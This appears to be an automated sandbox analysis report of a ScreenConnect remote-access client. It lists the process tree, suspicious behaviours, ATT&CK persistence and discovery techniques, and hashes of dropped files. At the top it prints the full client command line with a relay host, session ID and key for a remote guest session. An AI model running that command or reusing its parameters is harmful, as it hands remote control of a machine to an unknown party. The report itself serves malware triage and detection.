"C:\Program Files (x86)\ScreenConnect Client (8db655b205bc7fc2)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-yjwtek-relay.screenconnect.com&p=443&s=ef49e288-7c4e-4554-a887-c280eac8de6c&k=BgIAAACkAABSU0ExAAgAAAEAAQAhADT2mJ%2bsNroLwX6qJuNDo3cMCgBb76vaTqq1eQ8r4%2b3wHOD046tKkAVnOdVsnQavNexjunYWxfXNBg2F2KvV7M0lERlJ0MQD%2bbmZFH3pYJ9TiphXfaiDHgSNPshkJL%2f5Ets0cfDEC5bQSI1gJnB8%2fWjqrwWXFLQ%2fOswUSjjLbCuvtZcWFDZHV6A%2fTOBsd%2fli1svNYZvElZTi%2fOxPOSSJGloHLgC4vF0PtY8F2V%2blxYRSF%2bJYZamvorKlZf9hPomRMv1N8tj35j9ZUHpJO6ZamVq4Ynnxjv37jgOmqCD8%2fRb9nuJTpI4zNsqgD31%2bWvhHLCjXHLUtBrJifGzNGO7E"
1⤵
- Sets service image path in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2624
- C:\Program Files (x86)\ScreenConnect Client (8db655b205bc7fc2)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (8db655b205bc7fc2)\ScreenConnect.WindowsClient.exe" "RunRole" "fbcc9b70-168c-4e9c-bf03-9e0926e4223e" "User"
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:4680

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e592aff.rbs

Path C:\Config.Msi\e592aff.rbs
Size 214KB
SHA256 14c275ffa40de19af35c9cf3c9c9eccbdef5a3a3eb3b34ba3736eac6840eecd8
MD5 645d165a3b81b3d58d3b240d995145a1
SHA1 f6caabae2e97d430468958ed6e13e37f499af76f
SHA512 ca50f11f3aa8c9bb391c57f45fc96e613c6124f7fe5e96a82d6f37e7660aef94a3305d3d6dea17b7e0493fd10df44896bb6dad930cd4c564ed777b4f11836a96
SSDEEP 3072:on9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMGa:onuH2aCGw1ST1wQLdqva
TLSH
T16B248D227480907EE7FA1A32D93E9A717E7DF6241760C59EC3848C1E5DA04C06BF6B67
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientService.dll

Path C:\Program Files (x86)\ScreenConnect Client (8db655b205bc7fc2)\ScreenConnect.ClientService.dll
Size 91KB
SHA256 6e6aa42b107d3e82b7b7dc18a75eee3f09e9f268788c0a7edbbc617152adf178
MD5 372424eaf4bee00c8a5ffd305d90daf1
SHA1 63e4072286ee670e36a2583ab74cc25008b00431
SHA512 fdc2c59db75a2dc65efd43844badd8d543b1d891f8f1e200bc09300e911700f4a5d56c65ad157f5733f8b5abce3f3273eeac4420a8db1e545e4ac6a1f3004bce
SSDEEP 1536:5z0NAdGN6i9C4+Cm49qAOGWZa+QOV+eLj0GUazxDa91g0O9708aT:5z2pz9EyJ0QOVFjtUazxDa91gr9IBT
TLSH
T1A8936E0293BC992ACDEF1E34B461F1A006B1B903D8E6EBD86DD820DA2A553D15F543DF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientService.exe

Path C:\Program Files (x86)\ScreenConnect Client (8db655b205bc7fc2)\ScreenConnect.ClientService.exe
Size 93KB
SHA256 a94ecccb5b88e3860d619fbb3b87ff4af6448240ab65b89d610f348d75e793f2
MD5 70301f4cf14cc29a4312446a02227f4c
SHA1 12c2879ebb5a2df0f1a5eb8706cc3a2c528bccbf
SHA512 51e87115f61680ef5dfcadcca04bb5afeb84416ca94c3f5e5bc362c482c079b67b6a9547240651917a818baa8d02aa0fdcfe326e7ded2054df0af4ce9c3c523f
SSDEEP 1536:jg1s9pgbNBAklbZfe2+zRVdHeDxGXAorrCnBsWBcd6myJkgcU0HMW7C:MhbNDxZGXfdHrX7rAc6myJkgcU0Hnu
TLSH
T1B5935B13B5C28872E473093158E0DAB49A3FF9615E61DEAB3788022E4F741C1AE75E77
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

8EC9B1D0ABBD7F98B401D425828828CE_59E89BCE9615F2B61F2F2C691688F111

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8EC9B1D0ABBD7F98B401D425828828CE_59E89BCE9615F2B61F2F2C691688F111
Size 727B
SHA256 cc8c9baab88572f2299f96323ea977dcd6401635bf7e481687bd0055c72b1d6d
MD5 f2ca35345ee5e0ebe33739a7e96dd6fe
SHA1 a7a5f0f981c5b704e51a66127d6ee50b03e778ad
SHA512 bad6636d52bde11332112aa6c241398e9866409f1b3422075f9df123ba3f2db9db882bc31291de62aede4125fb9305fd7e7aa1b462a70d9118453849a9f594e7
TLSH
T1F701491435BCAB804D0145146EB4D7747DC0338058D709D747DDA795DB4CA716D16D78
MD5 SHA1 SHA512 TLSH

Submit Download

C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141
Size 727B
SHA256 b6a13789ac65a7fe4182859bde8feab8ac1ea0f0c7c020f0f7cff75a620d7661
MD5 1367a15fa498ad08b5c08b124279a609
SHA1 c29ddff30746c137c79bc3084885eca6ef50f40e
SHA512 8eb0ce8db87949f6defa0f62d1b518f82f880b6369eefb374dc75293d61bc99980c456ce56f9962339f2d7a3b67f247f331fe51aa12748927a86475d1718dc62
TLSH
T12601654347BC6910F5814A8BEBCDC1ACB59AE0DF189586A3350900AE81C9914864B170
MD5 SHA1 SHA512 TLSH

Submit Download

8EC9B1D0ABBD7F98B401D425828828CE_59E89BCE9615F2B61F2F2C691688F111

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8EC9B1D0ABBD7F98B401D425828828CE_59E89BCE9615F2B61F2F2C691688F111
Size 404B
SHA256 02b15d8634b3a099c8d0edb367901418c649ad5f767eee74929407a2b3867c7c
MD5 e41a864ab0a4bf79bc57164f95c870c7
SHA1 77e07da9e0661a5e0f757b2c696cedb2be85c434
SHA512 d5e5b9d6798c95898c291f5ce6c5003de1c3a434742efe7f3a879ecb854524055058dcdd37a6ba83f87017fe17f9f53359627890f197ee50494f7544784d5e24
TLSH
T1C1E0C63426F885AEF0B0DA3582FAAC134C89F29A4981C2690E844205AA09B008CA6224
MD5 SHA1 SHA512 TLSH

Submit Download

C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141
Size 412B
SHA256 ad4199c6214fc946e6fdee1c3decb9967d0ab11a2a1cf9c866083646f782be5f
MD5 8154ee01d9b8818b140d2edcdb019a7e
SHA1 080e8399db4a966a00343ae941ed1a43830b91bc
SHA512 1c7c1b1bda2bad517470c0cdde70709cb3f3ba02a370513cd9185fb86d210dea684b1dd574994a6831a17734a41b46624666b606891d3759e1c17ae240418a2f
TLSH
T12CE0C03856EFB21EF0A09C3446F5A1711D48F3096444C3B907E14308F70AF405C10AF4
MD5 SHA1 SHA512 TLSH

Submit Download

rundll32.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\rundll32.exe.log
Size 746B
SHA256 ddebb6b1094dbef9e96754a74ebd4761d857864c9bd0b5f20a97259a6d7c8fe0
MD5 768929616b943159a05e24024951fa13
SHA1 56bbd9a00695ab7aa25180fe31dff0c254aa9df3
SHA512 f078e880106f93eb86cf66f77e9425fc3cfb82aaf7c7a354b9d55bb8a6a0d87b4326289f2ab6861dad6122f1fcc560125b813b366f84184ee71ac54078ccbbb5
TLSH
T10F017B703322F5D589032F430C5D6A9507FF0769A664FE1CB96E225ED82A1276B322E3
MD5 SHA1 SHA512 TLSH

Submit Download

0cb56a88-c733-4da0-9fc8-ecd69f1fb409.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\0cb56a88-c733-4da0-9fc8-ecd69f1fb409.tmp
Size 8KB
SHA256 4821ae1e64d2289f4c9a929c33247457f430c8752b886b64a7dbaa54eb3d1f5a
MD5 f22f2474723665569188c147e1ba68e5
SHA1 2ff32413013b8d163866a1f2c9f581b14171962c
SHA512 3895040c1f4b5818db904a884dde59a7da9771bb2fe38e9c4cef515a000662304c950ab16d72f1a595b3940cf3beeffd0df1e8672c823fe961494ffd8daa1728
SSDEEP 192:yONK6v+YLTQmiUyliFh+CGU+Fdes9oveDSJr7CHIq58U6:yONK6vzJXFh+COdPeTJrIb8U6
TLSH
T131121C3568785C6B5ED2B545F48735179FE85127DA863F80E5EC2F1C02EF6AC2306816
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

blocklist

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist
Size 105KB
SHA256 efb9563e637ef0b52257a2946716a2327669e92cd9832dc8aaf642a331c8cd1c
MD5 752570689273fbb2cc26e8c92e1c8c1a
SHA1 5dab09f0ebee93042a1e03c54287c59a326d82f8
SHA512 a6361b9cdfcd6497b40c8e18c85f88b94d3fe6111f02c21b324dcc93b3a1b53f190dc30e44963a982666e6bfd3a87344b98fd9c646cdd6de417661bfae8a64d2
SSDEEP 1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7k:fwUQC5VwBIiElEd2K57P7k
TLSH
T1F0B3B931457E36BF26E93EE828CF1511B84F3912664895D4ABE1FE2C4845E68633CEF4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CrashpadMetrics-active.pma

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\CrashpadMetrics-active.pma
Size 16KB
SHA256 fde3b41a5711362d7f3df7d71563d5eb6cc679bae7f80f74afcdf81dbc09eafd
MD5 3406d3b708dcef0116bffd8eaa181ad4
SHA1 3df64b48bff2b9d4160d900e91a7670046a24340
SHA512 d22d05c221bd19bc3b07e9a5ed722fbf8fbf75d695302fe8ec441d6d1e653bd63b3751a9608b344cc859feb79c5869aaeedd08bf846dc01a522b3a0dbb1637d9
SSDEEP 12:sUXhV0xosU8xCe+JKlkQuMRxCb8ZXfgYJ0IJpP0KLsyW1L7Fx6:fRqxosU8xWMk8xVZ4YWI30otWn
TLSH
T18F727886B34494FFC8C35A7189BE27902374F6DE5F02836B6A3A7A0E2E271C44F44220
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 9aeab2c92c5f26a8ca39382cf1bb4652de05a24b8d0a9ed661920c6197bf4c98
MD5 722151c3c2c9d1bf9273dad578c24b92
SHA1 8c73ee2f65f9c7a61550c77f0ff7f3b2e262dbdd
SHA512 2d701005e69967e2b1d86e637b7e1011658167d340aa89a1d8a3826c1a0cd883f9a6d2e8ff8530362b27f034273eb9c1e432fc1a63348092e3fcfc9ecd12dada
TLSH
T19ED012323A18644AE656A1F0A413CB411637516624535B21B215949D9AA80D562C6192
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 46246483d08868ff03d5f9bb48e547ca61f651c3e59a4138f5a5da74c69b3ae0
MD5 c70fc44a424269679b1300a5be3376a5
SHA1 6162f1576d71e2726435c2e688415ae394c1369f
SHA512 c7fe73655fb22ef9d6d3620fa11cc8586300f67f906224e15b5de9802f495a10b66f3fdb475a44e7ed7af1a7d84be1c87f05f52d39641755f33237ede51a6e35
TLSH
T1F9D012323A58684AE656A1F0A412CB411637516624539B21B215949D8AA80D562C6192
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 f8cd27a3a900d52c1c0b5eb9b9675b8b0ae4259253176567c4f2ea089b34e98a
MD5 06939ee5b17a8a32fbdbd9cd22a63eba
SHA1 33ceefa98dc3b7af363001b3fc353218d375db5f
SHA512 bf2daa04f951f3e46b074543a0e432fbe89431dabef29e58d9f4242dfbf53aad0c84dfe7277a2e66938729eff88da46a090513ee85edeab5b197901db7f9a49d
TLSH
T158612B7DC66244D1F3B15239E0DF067279360EC9FC275E7611E0EAB436E6B62C05288A
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe58c484.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe58c484.TMP
Size 3KB
SHA256 894b81f26ea01a75b7e926e2c72ad733bcdbc8e3457562af150498d072846079
MD5 98fe5c9a23ab036767e741fdd3e02eb4
SHA1 b464547863457b91fef33fecc662e5b72714d26f
SHA512 6f9b68d3f83fd3247274107f00d66e0d2a24f014e5e4a95fbdd6c1410b6579d967f94f5b8b610ad067cd31eb8883dad810a24bfab9807061b277acd5ba09147e
TLSH
T1AE614C7DC69244E1F3B05238E0DF067279360EC9FC276E7651E0EA7436E7B62C45288A
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 5fa4194946d20ccf3ff0cae2ad4eca1e7a4ef49bc6041f78e78e25766ee5d080
MD5 d380113d47f644c3bdde2ae0b9dddd72
SHA1 762531c43f17405e19032f23ba84123cfc4f1f19
SHA512 369d98af86742e7f233aad87deae43b4b5bd41800d447304b88b1c20c26eded1fc0c0985007e693cf0a1912b5dc72620ca389220d9fdf99802a58713539bf61b
TLSH
T1A041CBF283D5852D99432BF09A20BD6BCF1D060943287C1B89D5FF5B93E64E2D10A69F
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 111B
SHA256 5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026
MD5 285252a2f6327d41eab203dc2f402c67
SHA1 acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6
SHA512 11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d
TLSH
T136B01269E4517CFF074A83A41928F453C3FF0047421C8ABEEA3873AD42A21BD0C28C47
MD5 SHA1 SHA512 TLSH

Submit Download

d0adc68f-57c1-4fee-b2e1-956f5ea86842.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\d0adc68f-57c1-4fee-b2e1-956f5ea86842.tmp
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 13KB
SHA256 945c0d2eda2f1b498807dd2d527a4250281548d9e7cec801782db4a50bfd0f93
MD5 65aa9e93c765c900baa46ac3583e0a71
SHA1 24f30b2b3446e3061e539de6c2d5e0cb8fd44a43
SHA512 e12408e92f2adccdb0fd9d807c47ae1c9f73d8b44d3071b9ed20e76cc86edbc2e86e1b3d007dcaa0cc7516eb049fa09cb979043ed039c0ada221cef01223053a
SSDEEP 192:sxZFRgyM/jK1Ml8Mkx/flsGZs/IdpR36HW6+WNR8ST/Y9I+AsRm3IgrJ:sxZFaMx/flsGZZRqHbRV/Kq9
TLSH
T1EF52D7116A3499B7CCDBD209FA45BF53D6F5057292904E44AEFC9A0C01E7BED220782F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 64034fa8b7545a2944c0441a1156fe2bbbf4de9caaa6fb37ad1dbc6671c20f15
MD5 a5f07acdb016637636b42f998083ee91
SHA1 d07cfed749286477969f69ec049ffb077384ecc5
SHA512 35c3409eed394e79285b38f9012a7c40916077cbb31fdba4b0e240baf4cf965d546d5e649eb5d17eb4703a47b2ee26351deac7f8c6714f5a031f55b98574a571
SSDEEP 192:sxZFRgyM/jK1Ml8UQs9x/flsYkI/IdpL3ZHW6+WNR8ST/Y9I+AEBR93Ig5qJ:sxZFaqqx/flsYklLJHbRV/4LBc
TLSH
T13952D715AA3459B7CCDBE209FA45BF53E6F5047292904E44AAFCDA0C01E7BED220781F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 13KB
SHA256 e9d89271861efeb045e5abda8f0de0c021796b1195edaa6f1dd42e46716ba7a0
MD5 1fcc5f00d4d8c0722703950b5891fafc
SHA1 f89a9b5c0a928652c29d4c51bfcd7914937686e7
SHA512 5299d1cfbc717d65263e7d459fcb7c74147c1a0ade2007ad7a6d7926904480c2d14d4551bc0727a51cbb956958225918eb6c3d618785c9b4f9534a90cfe5c390
SSDEEP 192:sxZFRgyM/jK1Ml8M9x/flsYZI/IdpR3ZHW6+WNR8ST/Y9I+AsRm3Ig5IJ:sxZFa1x/flsYZlRJHbRV/Kqu
TLSH
T1D052E711AA3499B7CCDBD209FA45BF53D6F5057292904E44AEFC9A0C01E7BED221782F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 30KB
SHA256 4a6901612105e52911ac604887b4a47affdb45f0e16b0e0f673fcb400d650373
MD5 80e623a909211cdb0ce576982021e9fc
SHA1 2cb17dc195def3e8872f62d03f574eb3f8656f3c
SHA512 ada7ec263431f548e3589839639af7152573885bf525dc0e05af201d3dd4f83465c22d427fa44ff1499748946da3f8784f49b2f2253ddac67a3cbb83920221b4
SSDEEP 768:8Ncv21wWvu+Z+8F1+UoAYDCx9Tuqh0VfUC9xbog/OVjFLlwmWNDro5g6y:8Ncv21wWvu+Z+u1jaeFLeRNw5C
TLSH
T183D20A2B280CCB7E4F841E9CED2A6F8A6DD801CB56988D5447FA494C03C77EB511B59B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 4KB
SHA256 125c6b9dbb53d2b012ca8278bcbcb32e0e57a3cb76ce75f76e756bca0ed6a942
MD5 e917b3a9194ea5dec809ae0311feff84
SHA1 e815a20fb2cb4133e1acc881ed009893cacc9892
SHA512 2b7f0ddb775f60d47edf98f1f92178ffae5be88ec8ec2cd490fc7201e7f446c4e8e96c06fbdfee8dc70ca24e057da5f984ac198caada9ef622d12b12f03baa21
SSDEEP 96:KaRklRnHnqlPKZThqKLfTzqHxJSrBDauoKf6yauIKXKt:mT3/XW
TLSH
T188911F06307B02A3787E684CA39385365E4139A77819F46F7BBC50A14B2BE125EFD4DD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

3280d603-cc98-486c-8003-3077265e2d7a.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\3280d603-cc98-486c-8003-3077265e2d7a.tmp
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 19KB
SHA256 d5070e14ae4a02e0dea0842a5de8396fba5cd084451d43aefd23a768c3d89499
MD5 28eb82e60168279456d815d5893d5bc1
SHA1 555efa52ef7cb2b171769ed72c3f8a46750cbf18
SHA512 1fd38d73798aa96f48706bd0e2ace6293d6f8f56ad553d457ef16fa6760fddc9a66063c1565e372879ba043bf7898ebeb565d14fa66e161d111b51086d0af066
SSDEEP 384:aZcITsNX6aoyuziJp3e+COdPeTJrDBb8ivu3Qo5:YTf6u2cThDBYimAq
TLSH
T19C927D315C785CBB59A6E141F54635179FB890279BC97F80A4ECAF1C02EB7A82317C2A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 11KB
SHA256 c833dcbc43554d62925edf7a08eac63b0bf4bb437a48d4e82946f236016313e8
MD5 2fa95e105eaa9bca369a7dada1689f2c
SHA1 63efd6a8d78297f7b27c05c161d0dcf28250b8fa
SHA512 b84509d328633a1f3a01156f0abdc8060c42693fa67bfc786d95b05ab43c7e24eda3482341cb76bf0d9dfe94f7628ced83defb37f8340e8cd4f548161f0651bf
SSDEEP 192:ujLsNX3PQ3oyRkN+YLegWQmiU1lk2I4e+CGU+Fdes9oveDSJrsZJiIq58U8:IsNXfaoyuzilp3e+COdPeTJrvb8U8
TLSH
T1E632193168786CAB8EA3A541F44735139FF85127DA853F84E5EC6F1C02DF7AC631A81A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 26KB
SHA256 759d8523c285b7e078f35e3f3d86046a94ecef9e0f74af308a1d758dd5e6cd04
MD5 74be3dd4a59b3e70ab049fec3a28ee24
SHA1 cad8ec2fefd151ef19783407228d23f9d30c9fe3
SHA512 5d518dbaeebc3411be03d47082e688e0fecb917bd0fe7e0d3c5fbe1696197d03092511eff23352551cc9fe84e1af6fb3d72c3f1a73c722e53f5c1de6c00934e4
SSDEEP 384:eKiFPZcITsNp8TUNTUlIl6aoyuziJo3e+COdPeTJrKUb8ivu3Qo5:iFHTswgg/u2cThKUYimAq
TLSH
T115C22AF208E7887AD9AE9743E77D2D034EBCC063B5856A40B7D89A1CCD961BFD306815
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 70b0fd282cba7ea18e2ee513f3745bec505670963193441898dc658741255cf1
MD5 ce23df335d9314d79fe9ac73de71ae00
SHA1 b4f5b14dc9ea45e5a1fe1890427226011e7fa072
SHA512 adc8069c06643184e4ada0e0406ce457919a8a9043e9521ae794f88af0ddefc518afbb7a76de3bf9978cc48fdb666ee42d0ef22ceab3adfc5b8206fc971a5979
SSDEEP 192:JONVm6v+YLNQmiUyHiZh+CGU+Fdes9ovtusvEU6:JONI6vz/jZh+COdPeFsU6
TLSH
T19602EA356D382CAB9FF26E46F48737175FA82177E9922F84D9E81F1C01D765C2306826
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 18KB
SHA256 ac26d53f543299f0b39ab1f0c83c5c36cd9acee56b1f98656269a14854791c34
MD5 e93ca4d9b8f477506a023a14a4bfb721
SHA1 a017934d255b64a651dc465027684a25d6605d86
SHA512 3f268291c536ec6ca405e77e8763b58fe1a1471e961829886c453a7652f1f7fd212eb92541d859feb73520978926ba5b7f4b8aff0978b7a97922c7b758961869
SSDEEP 384:0ZcIUsNX6aoyuziDp3e+COdPeTJrvb8ivu3Qo5:yUfgu2cThvYimAq
TLSH
T185928D315C785CBB59A6E141F44635179FB890279BCA7F80A4ECAF1C02EF7A82317C26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RevisitationBloomfilter

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\RevisitationBloomfilter
Size 392B
SHA256 9d63ff56c94217a20bbb4ee26cb8c782c8b362f69a49dfa93118a1c3be147538
MD5 2061e1c30e949ca4c996f1a6b2a1a3bf
SHA1 ff4ea7c6f83719a725b6294c35271d4dac7d2e41
SHA512 9b2bb07e483e43597ac040175ccb1ad728fa1edf0f3a9ce196a8a26d28665a34de7a4c0f41472c5d8da7d8f511824b5df037989f1dd91ee9315a9c2a92ed4c9d
MD5 SHA1 SHA512

Submit Download

RevisitationBloomfilter~RFe58bacf.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\RevisitationBloomfilter~RFe58bacf.TMP
Size 392B
SHA256 98eda89c74389a9cfc5cdc010b86a6896f0334ca51a8c6012db717595bee061d
MD5 ce1215258abab56f5222c3aeeea95b27
SHA1 b46d5419d19de26976d6794cdd70aff7760c2c6f
SHA512 08e7a316073885ba2542c83a68fceae95a2c640e9f49d8c131178592a3745de64ccdd0b91877edc1522d6617c3274561e2ddc1cd303dd3909f0bb39ecbfc79f0
MD5 SHA1 SHA512

Submit Download

252c8563-ef4a-4d46-b2f1-4998ab7c138b.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\252c8563-ef4a-4d46-b2f1-4998ab7c138b.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Path C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
Size 2KB
SHA256 b77d32c5ff7ae1523cfdf4a52a12e5d4c79b3c4813313d1f2c797973d120c7ed
